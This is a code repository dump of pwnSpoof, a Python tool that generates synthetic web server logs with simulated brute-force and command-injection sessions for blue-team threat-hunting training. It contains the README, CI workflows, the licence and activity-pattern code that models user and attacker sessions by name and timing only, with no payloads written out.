├── .github ├── actions │ └── python-test │ │ └── action.yml └── workflows │ ├── black.yml │ └── version_testing.yml ├── .gitignore ├── IP2LOCATION-LITE-DB1.CSV ├── LICENSE ├── README.md ├── activity_patterns.py ├── apps.py ├── attacks.py ├── images ├── banner.png ├── product.png ├── pwnspoof.gif └── realistic_patterns.png ├── interactions.py ├── ip_handler.py ├── log_generator.py ├── models.py ├── pwnspoof.py ├── session_generator.py ├── string_formatter.py ├── tests ├── output.py ├── requirements.txt └── session_generation.py └── wordlists.py /.github/actions/python-test/action.yml: -------------------------------------------------------------------------------- 1 | name: 'Python runtime test' 2 | description: 'Test pwnSpoof against a given Python version' 3 | inputs: 4 | python-version: 5 | description: 'Python version' 6 | required: true 7 | runs: 8 | using: composite 9 | steps: 10 | - uses: actions/checkout@v1 11 | - name: Set up Python ${{ inputs.python-version }} 12 | uses: actions/setup-python@v1 13 | with: 14 | python-version: ${{ inputs.python-version }} 15 | - name: Python version 16 | id: python-version 17 | run: python --version 18 | shell: bash 19 | - name: Run 20 | run: python pwnspoof.py banking --session-count=200 21 | shell: bash 22 | - name: install requirements 23 | run: python -m pip install -r tests/requirements.txt 24 | shell: bash 25 | - name: output tests 26 | run: python tests/output.py 27 | shell: bash 28 | - name: session generation tests 29 | run: python tests/session_generation.py 30 | shell: bash 31 | -------------------------------------------------------------------------------- /.github/workflows/black.yml: -------------------------------------------------------------------------------- 1 | name: black 2 | on: [pull_request] 3 | jobs: 4 | build: 5 | runs-on: ubuntu-latest 6 | steps: 7 | - uses: actions/checkout@v1 8 | - name: Set up Python 3.7 9 | uses: actions/setup-python@v1 10 | with: 11 | python-version: 3.7 12 | - name: Install Black 13 | run: pip install black 14 | - name: Run black --check . 15 | run: black --check . 16 | -------------------------------------------------------------------------------- /.github/workflows/version_testing.yml: -------------------------------------------------------------------------------- 1 | name: python3 functional testing 2 | on: [pull_request] 3 | jobs: 4 | v3-7: 5 | runs-on: ubuntu-latest 6 | steps: 7 | - uses: actions/checkout@v1 8 | - name: Python runtime test 9 | uses: ./.github/actions/python-test 10 | with: 11 | python-version: 3.7 12 | v3-8: 13 | runs-on: ubuntu-latest 14 | steps: 15 | - uses: actions/checkout@v1 16 | - name: Python runtime test 17 | uses: ./.github/actions/python-test 18 | with: 19 | python-version: 3.8 20 | v3-9: 21 | runs-on: ubuntu-latest 22 | steps: 23 | - uses: actions/checkout@v1 24 | - name: Python runtime test 25 | uses: ./.github/actions/python-test 26 | with: 27 | python-version: 3.9 28 | v3-10: 29 | runs-on: ubuntu-latest 30 | steps: 31 | - uses: actions/checkout@v1 32 | - name: Python runtime test 33 | uses: ./.github/actions/python-test 34 | with: 35 | python-version: "3.10" 36 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ 2 | pwnspoof.log 3 | launch.json 4 | /ignore -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![made-with-python](https://img.shields.io/badge/Made%20with-Python-1f425f.svg)](https://www.python.org/) 2 | [![Maintenance](https://img.shields.io/badge/Maintained%3F-yes-green.svg)](https://GitHub.com/punk-security/pwnspoof/graphs/commit-activity) 3 | [![Maintainer](https://img.shields.io/badge/maintainer-PunkSecurity-blue)](https://www.punksecurity.co.uk) 4 | [![Lines of Code](https://sonarcloud.io/api/project_badges/measure?project=punk-security_pwnspoof&metric=ncloc)](https://sonarcloud.io/summary/new_code?id=punk-security_pwnspoof) 5 | [![Vulnerabilities](https://sonarcloud.io/api/project_badges/measure?project=punk-security_pwnspoof&metric=vulnerabilities)](https://sonarcloud.io/summary/new_code?id=punk-security_pwnspoof) 6 | [![Bugs](https://sonarcloud.io/api/project_badges/measure?project=punk-security_pwnspoof&metric=bugs)](https://sonarcloud.io/summary/new_code?id=punk-security_pwnspoof) 7 | 8 | [![Logo](/images/banner.png)](#) 9 | 10 | pwnSpoof (from [Punk Security](https://punksecurity.co.uk/)) generates realistic spoofed log files for common web servers with customisable attack scenarios. 11 | 12 | Every log bundle is unique and completely customisable, making it perfect for generating CTF scenarios and for training serials. 13 | 14 | Can you find the attacker session and build the incident picture? 15 | 16 | [![realistic_activity](/images/realistic_patterns.png)](#) 17 | 18 | ## Table of Contents 19 | 20 | * [About The Project ](#About-The-Project) 21 | * [Getting Started ](#Getting-Started) 22 | * [Prerequisites ](#Prerequisites) 23 | * [Installation ](#Installation) 24 | * [Usage ](#Usage) 25 | * [Switches ](#Switches) 26 | * [Example ](#Examples) 27 | * [View Demo ](#Demo) 28 | * [Road Map ](#Road-Map) 29 | * [Contact ](#Contact) 30 | 31 | ## About The Project 32 | 33 | pwnSpoof was created on the back of a threat hunting training exercise [Punk Security](https://punksecurity.co.uk) delivered for a customer. The training exercise was to use a log analytic tool such as Splunk (other log analysing tools are available) and IIS logs to find login brute-force attacks and command injections. 34 | 35 | The idea behind the pwnSpoof application is to; 36 | * Provide a quick CTF style training environment 37 | * Create unique logs every run 38 | * Test threat hunting in IIS, Apache, NGINX, Cloudflare and AWS ALB logs 39 | 40 | Once you have created a set of logs, the idea is to load them in to Splunk and use various techniques to answer the following questions; 41 | 42 | * What was the attackers IP address and user_agent? 43 | * Did the attacker authenticate and if so, with what account? 44 | * Where was geo-location of the attacker? 45 | * When did the attack occur? 46 | * What kind of attack was it? 47 | * What happened during the attack? 48 | * What artifacts may remain on the server? 49 | * What steps can be taken to remediate? 50 | 51 | ## Getting Started 52 | 53 | The following will explain how to get started with pwnSpoof 54 | 55 | ### Prerequisites 56 | 57 | pwnSpoof is written in python and is tested with python3. No extra modules are needed, we only use the standard library. 58 | 59 | If you get the following error message, please specifiy python3 when running pwnSpoof. Python2 is not supported. 60 | 61 | ``` 62 | File "pwnspoof.py", line 176 63 | print("{:6.2f}% ".format(y * x), end="\r", flush=True) 64 | ^ 65 | SyntaxError: invalid syntax 66 | ``` 67 | 68 | ### Installation 69 | 70 | 1. Git clone the pwnSpoof repo 71 | 72 | ``` 73 | git clone https://github.com/punk-security/pwnspoof 74 | ``` 75 | 76 | 2. change directory to pwnSpoof 77 | 78 | ``` 79 | cd pwnspoof 80 | ``` 81 | 82 | 3. Run pwnSpoof 83 | 84 | ``` 85 | python pwnspoof.py --help 86 | ``` 87 | 88 | ## Usage 89 | ### Switches 90 | 91 | ``` 92 | positional arguments: 93 | {banking,wordpress,generic} 94 | App to emulate 95 | 96 | options: 97 | -h, --help show this help message and exit 98 | --out OUT Output file (default: pwnspoof.log) 99 | --iocs Do you want to know the attackers iocs for easier searching? (default: False) 100 | 101 | log generator settings: 102 | --log-start-date LOG_START_DATE 103 | Initial start of logs, in the format YYYYMMDD i.e. "20210727" 104 | --log-end-date LOG_END_DATE 105 | End date for logs, in the format YYYYMMDD i.e. "20210727" 106 | --session-count SESSION_COUNT 107 | Number of legitimate sessions to spoof (default: 2000) 108 | --max-sessions-per-user MAX_SESSIONS_PER_USER 109 | Max number of legitimate sessions per user (default: 3) 110 | --server-fqdn SERVER_FQDN 111 | Override the emulated web apps default fqdn 112 | --server-ip SERVER_IP 113 | Override the emulated web apps randomised IP 114 | --server-type {IIS,NGINX,CLF,CLOUDFLARE,AWS} 115 | Server to spoof (default: IIS) 116 | --uri-file URI_FILE File containing web uris to override defaults, do not include extensions 117 | --noise-file NOISE_FILE 118 | File containing noise uris to override defaults, include extensions 119 | 120 | attack settings: 121 | --spoofed-attacks SPOOFED_ATTACKS 122 | Number of attacker sequences to spoof (default: 1) 123 | --attack-type {bruteforce,command_injection} 124 | Number of attacker sequences to spoof (default: bruteforce) 125 | --attacker-geo ATTACKER_GEO 126 | Set the attackers geo by 2 letter region. Use RD for random (default: RD) 127 | --attacker-user-agent ATTACKER_USER_AGENT 128 | Set the attackers user-agent. Use RD for random (default: RD) 129 | --additional-attacker-ips ADDITIONAL_ATTACKER_IPS 130 | Additional attackers ip addresses, comma separated (default: ). If you wish to exclusively use this list set spoofed-attacks to 0 131 | ``` 132 | 133 | ### Examples 134 | 135 | The following example will create a set of IIS logs for bruteforce against pwnedbank.co.uk. 136 | 137 | ``` 138 | python pwnspoof.py banking --server-fqdn pwnedbank.co.uk --attack-type bruteforce --server-type IIS --out iis-output.log 139 | ``` 140 | 141 | The following example will create a set of NGINX logs for command_injection against pwnedbank.co.uk. 142 | 143 | ``` 144 | python pwnspoof.py banking --server-fqdn pwnedbank.co.uk --attack-type command_injection --server-type NGINX 145 | ``` 146 | 147 | The following example will create a set of logs with 5000 routine sessions and 3 attack sessions 148 | 149 | ``` 150 | python pwnspoof.py banking --session-count 5000 --spoofed-attacks 3 151 | ``` 152 | 153 | The following example will create a set of logs and output the attackers IP addresses 154 | 155 | ``` 156 | python pwnspoof.py banking --spoofed-attacks 3 --iocs 157 | ``` 158 | 159 | The following example will create a set of logs and exclusively use the IP addresses specified 160 | 161 | ``` 162 | python pwnspoof.py banking --spoofed-attacks 0 --additional-attacker-ips 192.168.0.1,192.168.0.2 163 | ``` 164 | 165 | ## Demo 166 | 167 | [![Demo](/images/pwnspoof.gif)](#Demo) 168 | 169 | ## Road Map 170 | 171 | pwnSpoof is built to produce to authentic web attack logs and it does this really well. Right now we are focused on refactoring the code, building out our testing suite and getting the first push to PyPi but we have *huge* ambitions for pwnSpoof. 172 | 173 | ### Coming soon 174 | Adding extra webapps beyond banking to provide extra variety to the logs 175 | 176 | * Social media 177 | * Wordpress 178 | * E-Commerce 179 | 180 | Adding additional and more dynamic web attacks 181 | 182 | * Full OWASP TOP 10 183 | * Customisable payload encoding 184 | * Multi-session attacks 185 | * Obfuscation 186 | 187 | ### Unscheduled aspirations 188 | **Training Videos!** 189 | 190 | pwnSpoof was built to be a great tool for training the blue team so it only makes sense to produce some training materials to show it off. 191 | 192 | * How to ingest logs in to various log analyser (Splunk, Elastic, Open Disto, Sentinel) 193 | * How to use the power of REGEX to pivot around the data 194 | 195 | **Not just weblogs** 196 | 197 | We would love to see pwnSpoof generating all kinds of threat hunting logs such as Office365 audit logs for Sharepoint, Onedrive and AzureAD 198 | 199 | **Blackhat Arsenal** 200 | 201 | We have submitted pwnSpoof to Blackhat Arsenal for consideration and it would be AWESOME to demo it at Blackhat London this year (2021). 202 | 203 | **Why not contact us with some extra ideas, or add to the project** 204 | 205 | ## Contact 206 | 207 | * Simon Gurney - simon.gurney@punksecurity.co.uk 208 | * Daniel Oates-Lee - daniel.oates-lee@punksecurity.co.uk 209 | 210 | ## Credit 211 | 212 | * **ip2location** : 213 | We make use of the IP2Location LITE Country database to provide geographically relevant IP addresses. 214 | 215 | This product includes IP2Location LITE data available from [https://lite.ip2location.com](https://lite.ip2location.com) 216 | -------------------------------------------------------------------------------- /activity_patterns.py: -------------------------------------------------------------------------------- 1 | from random import randint 2 | from models import ActivityPattern, Interaction 3 | import interactions 4 | from copy import copy 5 | 6 | 7 | def one_in_x_chance_of(x): 8 | return randint(0, x) == x 9 | 10 | 11 | def x_in_hundred_chance_of(x): 12 | result = randint(0, 100) < x 13 | return result 14 | 15 | 16 | class Banking: 17 | static_navigate_to_transactions = ActivityPattern( 18 | consecutive=True 19 | ).add_interactions( 20 | [interactions.dynamic.account_status, interactions.dynamic.transaction] 21 | ) 22 | static_browse_transactions_short = ActivityPattern(count=5).add_interaction( 23 | interactions.dynamic.transaction 24 | ) 25 | static_browse_transactions = ActivityPattern().add_interaction( 26 | interactions.dynamic.transaction 27 | ) 28 | static_transfer = ActivityPattern(consecutive=True).add_interactions( 29 | [ 30 | interactions.dynamic.transfer_get_success, 31 | interactions.dynamic.transfer_post_success, 32 | interactions.dynamic.transfer_complete_success, 33 | ] 34 | ) 35 | 36 | @staticmethod 37 | def dynamic_routine_use(): 38 | gohome = copy(Misc.static_home_page) 39 | gohome.count = randint(2, 8) 40 | yield gohome 41 | yield Misc.static_home_page 42 | if one_in_x_chance_of(15): 43 | yield Misc.static_faq 44 | if one_in_x_chance_of(10): 45 | for i in range(0, randint(1, 3)): 46 | yield Misc.static_login_failed 47 | yield Misc.static_login 48 | yield Banking.static_navigate_to_transactions 49 | browse = copy(Banking.static_browse_transactions) 50 | browse.count = randint(1, 6) 51 | yield browse 52 | if one_in_x_chance_of(6): 53 | yield Banking.static_transfer 54 | if one_in_x_chance_of(20): 55 | yield Misc.static_password_reset 56 | if one_in_x_chance_of(50): 57 | yield Misc.static_change_avatar 58 | if one_in_x_chance_of(3): 59 | yield Misc.static_logout 60 | 61 | @staticmethod 62 | def dynamic_brute_force(): 63 | for ap in Misc.dynamic_brute_force(): 64 | yield ap 65 | browse = copy(Banking.static_browse_transactions) 66 | browse.count = randint(1, 6) 67 | yield browse 68 | for i in range(0, 6): 69 | yield Banking.static_transfer 70 | yield Misc.static_logout 71 | 72 | 73 | class Misc: 74 | static_root = ActivityPattern(consecutive=True).add_interaction( 75 | interactions.misc.root_success 76 | ) 77 | static_favico = ActivityPattern(consecutive=True).add_interaction( 78 | interactions.misc.favico_success 79 | ) 80 | static_home_page = ActivityPattern(consecutive=True).add_interaction( 81 | interactions.dynamic.index_success 82 | ) 83 | noise = [ 84 | interactions.misc.favico_success, 85 | interactions.css.main_success, 86 | interactions.css.template_success, 87 | interactions.css.footer_success, 88 | interactions.css.rand_success, 89 | interactions.css.rand_success, 90 | interactions.js.rand_success, 91 | interactions.css.rand_not_found, 92 | ] 93 | static_login_page = ActivityPattern(consecutive=True).add_interaction( 94 | interactions.dynamic.index_redirect 95 | ) 96 | static_login = ActivityPattern(consecutive=True).add_interactions( 97 | [ 98 | interactions.dynamic.index_redirect, 99 | interactions.dynamic.login_success, 100 | interactions.dynamic.login_post_301, 101 | ] 102 | ) 103 | static_password_reset = ActivityPattern(consecutive=True).add_interactions( 104 | [ 105 | interactions.dynamic.change_password_get_success, 106 | interactions.dynamic.change_password_post_success, 107 | interactions.dynamic.account_status, 108 | ] 109 | ) 110 | static_logout = ActivityPattern(consecutive=True).add_interaction( 111 | interactions.dynamic.logout_success 112 | ) 113 | static_login_failed = ActivityPattern( 114 | consecutive=True, min_period_between_invocations_s=1 115 | ).add_interaction(interactions.dynamic.login_post_401) 116 | 117 | static_faq = ActivityPattern(consecutive=True).add_interaction( 118 | interactions.dynamic.faq_success 119 | ) 120 | 121 | static_change_avatar = ActivityPattern(consecutive=True).add_interactions( 122 | [ 123 | interactions.dynamic.account_status, 124 | interactions.dynamic.change_avatar_post_success, 125 | interactions.dynamic.account_status, 126 | ] 127 | ) 128 | 129 | @staticmethod 130 | def dynamic_brute_force(): 131 | yield Misc.static_login_page 132 | yield ActivityPattern( 133 | max_period_between_invocations_s=3, 134 | min_period_between_invocations_s=1, 135 | count=randint(0, 300), 136 | suppress_noise=True, 137 | ).add_interaction(interactions.dynamic.login_post_401) 138 | yield ActivityPattern( 139 | consecutive=True, 140 | max_period_between_invocations_s=3, 141 | min_period_between_invocations_s=1, 142 | suppress_noise=True, 143 | ).add_interaction(interactions.dynamic.login_post_301) 144 | 145 | @staticmethod 146 | def dynamic_cmd_injectiom(): 147 | # Login 148 | yield Misc.static_login 149 | # view FAQ page a few times 150 | for i in range(0, 3): 151 | yield Misc.static_faq 152 | # change avataer a few times trying to get lfi 153 | for i in range(1, 5): 154 | yield Misc.static_change_avatar 155 | yield ActivityPattern(consecutive=True).add_interaction( 156 | interactions.dynamic.faq_lfi 157 | ) 158 | yield ActivityPattern( 159 | count=(randint(4, 8)), suppress_noise=True 160 | ).add_interaction(interactions.dynamic.cmd_injection_on_sticky_page_recon) 161 | yield ActivityPattern( 162 | count=(randint(1, 2)), suppress_noise=True 163 | ).add_interaction(interactions.dynamic.cmd_injection_on_sticky_page_attack) 164 | 165 | 166 | class Wordpress: 167 | noise = [ 168 | interactions.css.wp_theme_versioned_success, 169 | interactions.css.wp_versioned_success, 170 | interactions.js.wp_theme_versioned_success, 171 | interactions.js.wp_versioned_success, 172 | interactions.misc.wp_jpg_success, 173 | interactions.dynamic.xmlrpc_success, 174 | ] 175 | 176 | static_random_page = ActivityPattern(consecutive=True, count=1).add_interactions( 177 | [ 178 | interactions.misc.wp_page_success, 179 | interactions.dynamic.index_seo_friendly_success, 180 | interactions.dynamic.index_seo_friendly_success, 181 | interactions.dynamic.index_seo_friendly_success, 182 | ] 183 | ) 184 | 185 | static_login_page_success = ActivityPattern(consecutive=True).add_interaction( 186 | interactions.dynamic.wp_admin_login_page_success 187 | ) 188 | 189 | static_login_success = ActivityPattern(consecutive=True).add_interaction( 190 | interactions.dynamic.wp_admin_login_success 191 | ) 192 | static_login_failed = ActivityPattern(consecutive=True).add_interaction( 193 | interactions.dynamic.wp_admin_login_failed 194 | ) 195 | 196 | static_admin_pages = ActivityPattern( 197 | min_period_between_invocations_s=10, 198 | max_period_between_invocations_s=120, 199 | count=10, 200 | ).add_interactions( 201 | [ 202 | interactions.dynamic.wp_admin_update_success, 203 | interactions.dynamic.wp_admin_users_success, 204 | interactions.dynamic.wp_admin_plugins_success, 205 | interactions.dynamic.wp_admin_plugins_install_success, 206 | interactions.dynamic.wp_admin_health_success, 207 | ] 208 | ) 209 | 210 | static_add_plugin = ActivityPattern( 211 | consecutive=True, 212 | ).add_interactions( 213 | [ 214 | interactions.dynamic.wp_admin_plugins_success, 215 | interactions.dynamic.wp_admin_plugins_install_post_success, 216 | ] 217 | ) 218 | 219 | static_add_user = ActivityPattern( 220 | consecutive=True, 221 | ).add_interactions( 222 | [ 223 | interactions.dynamic.wp_admin_users_success, 224 | interactions.dynamic.wp_admin_users_post_success, 225 | ] 226 | ) 227 | 228 | @staticmethod 229 | def dynamic_browse(): 230 | if x_in_hundred_chance_of(x=9): 231 | # 9/10 chance of coming in via index page 232 | yield Misc.static_root 233 | if x_in_hundred_chance_of(x=6): 234 | yield Misc.static_favico 235 | for i in range(1, randint(3, 8)): 236 | yield Wordpress.static_random_page 237 | 238 | @staticmethod 239 | def dynamic_admin(): 240 | if x_in_hundred_chance_of(x=50): 241 | # 5/10 chance of arriving via root 242 | yield Misc.static_root 243 | yield Wordpress.static_login_page_success 244 | if x_in_hundred_chance_of(x=20): 245 | # 2/10 chance of password failed 246 | yield Wordpress.static_login_failed 247 | # Login OK 248 | yield Wordpress.static_login_success 249 | # Do some read-only admin things 250 | admin_activity = copy(Wordpress.static_admin_pages) 251 | admin_activity.count = randint(2, 8) 252 | yield admin_activity 253 | # Maybe do some other things 254 | if x_in_hundred_chance_of(x=20): 255 | yield Wordpress.static_add_user 256 | return 257 | if x_in_hundred_chance_of(x=20): 258 | yield Wordpress.static_add_plugin 259 | return 260 | 261 | @staticmethod 262 | def dynamic_browse_or_admin(): 263 | if x_in_hundred_chance_of(x=5): 264 | pattern = Wordpress.dynamic_admin 265 | else: 266 | pattern = Wordpress.dynamic_browse 267 | for i in pattern(): 268 | yield i 269 | 270 | @staticmethod 271 | def dynamic_brute_force(): 272 | yield ActivityPattern( 273 | max_period_between_invocations_s=3, 274 | min_period_between_invocations_s=1, 275 | count=randint(100, 300), 276 | suppress_noise=True, 277 | ).add_interaction(interactions.dynamic.wp_admin_login_failed) 278 | # Login OK 279 | yield Wordpress.static_login_success 280 | yield Wordpress.static_admin_pages 281 | yield Wordpress.static_add_user 282 | 283 | @staticmethod 284 | def dynamic_malicious_plugin(): 285 | # Login 286 | yield Wordpress.static_login_page_success 287 | yield Wordpress.static_login_success 288 | yield Wordpress.static_admin_pages 289 | # upload plugin a few times to try and get the backdoor 290 | for i in range(1, 5): 291 | yield Wordpress.static_add_plugin 292 | yield ActivityPattern( 293 | count=(randint(4, 8)), suppress_noise=True 294 | ).add_interaction(interactions.dynamic.cmd_injection_on_sticky_page_recon) 295 | yield ActivityPattern( 296 | count=(randint(1, 2)), suppress_noise=True 297 | ).add_interaction(interactions.dynamic.cmd_injection_on_sticky_page_attack) 298 | 299 | 300 | class Generic: 301 | static_page_success = ActivityPattern(consecutive=True).add_interaction( 302 | interactions.generic.seo_friendly_success 303 | ) 304 | 305 | static_page_404 = ActivityPattern(consecutive=True).add_interaction( 306 | interactions.generic.seo_friendly_404 307 | ) 308 | 309 | old_loot_success = ActivityPattern( 310 | consecutive=True, suppress_noise=True 311 | ).add_interaction(interactions.generic.old_loot_success) 312 | 313 | old_loot_404 = ActivityPattern(suppress_noise=True).add_interaction( 314 | interactions.generic.old_loot_404 315 | ) 316 | static_noise_success = [interactions.generic.noise_sucess] 317 | 318 | @staticmethod 319 | def dynamic_browse(): 320 | if x_in_hundred_chance_of(x=9): 321 | # 9/10 chance of coming in via index page 322 | yield Misc.static_root 323 | if x_in_hundred_chance_of(x=6): 324 | # 6/10 chance of fetching favico 325 | yield Misc.static_favico 326 | if x_in_hundred_chance_of(x=10): 327 | yield Generic.static_page_404 328 | yield Misc.static_root 329 | for i in range(1, randint(2, 12)): 330 | yield Generic.static_page_success 331 | 332 | @staticmethod 333 | def dynamic_bruteforce_sensitive_files(): 334 | Generic.old_loot_404.min_period_between_invocations_s = 0 335 | Generic.old_loot_404.max_period_between_invocations_s = 0 336 | b1 = copy(Generic.old_loot_404) 337 | b2 = copy(Generic.old_loot_404) 338 | b1.count = randint(100, 600) 339 | b2.count = randint(100, 600) 340 | yield b1 341 | yield Generic.old_loot_success 342 | yield b2 343 | 344 | @staticmethod 345 | def dynamic_command_injection(): 346 | yield ActivityPattern(count=5).add_interaction(interactions.dynamic.faq_rfi) 347 | yield ActivityPattern( 348 | count=(randint(4, 8)), suppress_noise=True 349 | ).add_interaction(interactions.dynamic.cmd_injection_on_sticky_page_recon) 350 | yield ActivityPattern( 351 | count=(randint(1, 2)), suppress_noise=True 352 | ).add_interaction(interactions.dynamic.cmd_injection_on_sticky_page_attack) 353 | -------------------------------------------------------------------------------- /apps.py: -------------------------------------------------------------------------------- 1 | from models import App 2 | import activity_patterns as ap 3 | 4 | banking = App("bankofpunk.local") 5 | 6 | 